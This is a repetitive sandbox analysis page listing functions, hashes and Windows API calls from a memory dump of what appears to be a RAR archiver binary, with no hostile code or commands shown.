Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: 80be6c6a0dcb34c5e36679f8afd2cafef5105e5ef7399cc2c28e7573ce4910d7
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: 58216663919F8582EB11CF29D5511B863A0FB98B88B14A371DF5D43656FF38E5FA8300

Function 00007FF6FAA5915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6FAA591CA
new.LIBCMT ref: 00007FF6FAA591F2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ba55e622fca365b9769475d283c8942512d27bc7cb6e767422bc17acad850c
Instruction ID: 54141ea41bfb95cf350f14922598d8705c8ab50286539a66e9bb2a0e26c93521
Opcode Fuzzy Hash: b7ba55e622fca365b9769475d283c8942512d27bc7cb6e767422bc17acad850c
Instruction Fuzzy Hash: 32119331909B8181EB40EB64E5043A973E4EF84790F144674EAAD8B7EAFF7DD056C304

Function 00007FF6FAA420B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF6FAA422EE), ref: 00007FF6FAA4211B
GetLastError.KERNEL32(?,?,?,00007FF6FAA422EE), ref: 00007FF6FAA42126

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 18104d11dc51331e857779f9da860b5223677afb3eef7886593d7c70001fb0e7
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: 1001E931A1969142EB748B69A5400796261FF54BE0F145271EE3D83BE8EF3ED44A8700

Function 00007FF6FAA37A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF6FAA37A7B

Part of subcall function 00007FF6FAA82AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA87EF3

setbuf.LIBCMT ref: 00007FF6FAA37A8F

Part of subcall function 00007FF6FAA37B44: GetStdHandle.KERNEL32(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B4A
Part of subcall function 00007FF6FAA37B44: GetFileType.KERNELBASE(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B56
Part of subcall function 00007FF6FAA37B44: GetConsoleMode.KERNEL32(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B69

Part of subcall function 00007FF6FAA82ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA82AD0

Part of subcall function 00007FF6FAA82B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA82C1C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction ID: 0f1195f79d6105a8e419083af09ae1d7d58386488bdc68ff95fbb53798069de5
Opcode Fuzzy Hash: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction Fuzzy Hash: 0A01D000E0E2D246FB28B7B558A63B956A38F91310F4042F8E57E8A3DBFD1D680F8351

Function 00007FF6FAA42440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6FAA42480
GetLastError.KERNEL32 ref: 00007FF6FAA4248D

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 232aa6a7daf0087b6b908f6c7d1cfb061d3db0f16488db4bee4d2b4138aa4be6
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: 5101C022A1864292EB649B29F4803782360EB447B8F244372E63D821F9EF7DD59FC700

Function 00007FF6FAA430C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF6FAA4305D,?,?,?,?,?,?,?,?,00007FF6FAA54126,?,?,?,?,00000800), ref: 00007FF6FAA430F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6FAA54126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6FAA43119

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: c00d515ca9675a91954ba424e01f7fa4d9d9aae0ed7c26d5a1c20ab65734cec9
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: D3F04F31B18A8146EB609B68F5553AA6290BB4C7D4F400575EAACC37E9EF6CD58A8B00

Function 00007FF6FAA6B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF6FAA67F72), ref: 00007FF6FAA6B41E
LoadLibraryExW.KERNELBASE ref: 00007FF6FAA6B449

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: 03970ef0ba41adcf51f0fe302d0b98a9c9042a1b8c5e9f2fe186f033466dd68a
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 8FF01262B2858196F7709B20E8153F662A4BF9C7C4F804071E9DDC27D9FF2CD65A8B10

Function 00007FF6FAA6BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6FAA6BACD), ref: 00007FF6FAA6BA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF6FAA6BA87

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: d6df291164dc82e41fecab5a11594546793d2b1c45a13bc7fc6917b48470c626
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 74E02B61B7445147DBD85719C491FA91390AF54BC0F802035F41BC3B94FD1DC4598B00

Function 00007FF6FAA84A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6FAA84A8A
GetLastError.KERNEL32 ref: 00007FF6FAA84A9C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 8b8f44d1eb98a6863e1fb0a2743f26f1ce7739a73a2eb88b05d0dd05128f3463
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: DAE08C60E1E28343FF48ABF2A84417513906F98B80F0440B4DD3ECA3D2FE2CA89B4204

Function 00007FF6FAA671FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a0c4cc47bb6f8769579c9a8c642551102bf2f778f9bea038dbf468d6b78107
Instruction ID: f9ea6df1e6f33821619d4372e9df54faeb670f2d77df6e6a535e2c67ec5b675e
Opcode Fuzzy Hash: 81a0c4cc47bb6f8769579c9a8c642551102bf2f778f9bea038dbf468d6b78107
Instruction Fuzzy Hash: E5E1D821A2868241FB209A28D4647FE6771FF42B88F4401B5DD6D8B7DAFE2D944FCB10

Function 00007FF6FAA272C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA5915C: new.LIBCMT ref: 00007FF6FAA591CA
Part of subcall function 00007FF6FAA5915C: new.LIBCMT ref: 00007FF6FAA591F2

new.LIBCMT ref: 00007FF6FAA273DE

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fee4be509a7d6b9010376eb7811afad9251bec75b598907398f09de2282cd6
Instruction ID: 522662e3b5745bf327a3fe8641aace16243c600525d4d44bc59789036f6f50c1
Opcode Fuzzy Hash: 41fee4be509a7d6b9010376eb7811afad9251bec75b598907398f09de2282cd6
Instruction Fuzzy Hash: 8B514672528BD194E7009F24E8441ED37A8FB44F88F18427AEA984B7DAEF395166C321

Function 00007FF6FAA8231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FAA82344

Part of subcall function 00007FF6FAA824D4: GetModuleHandleExW.KERNEL32 ref: 00007FF6FAA824F4
Part of subcall function 00007FF6FAA824D4: GetProcAddress.KERNEL32 ref: 00007FF6FAA8250A
Part of subcall function 00007FF6FAA824D4: FreeLibrary.KERNEL32 ref: 00007FF6FAA8252F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: a808cb033ddaaa7eec052de590ff7cb05f19cd6988d52c892f982c5e74b09fb9
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: B3418D21A0D68382FB69DB15D95027823A1EF84B40F0064B5D93ECB6D9FE3DE84F8740

Function 00007FF6FAA34D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF6FAA34D47

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 9588906b506fdfba2e0ff6962e323779d37f4d8ae233d2226637e053b7751e8d
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 5401961160C74286EB50EB16A4021BE5660BF85BD5F580472EEEDC77E9EE3FD45B8304

Function 00007FF6FAA84B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
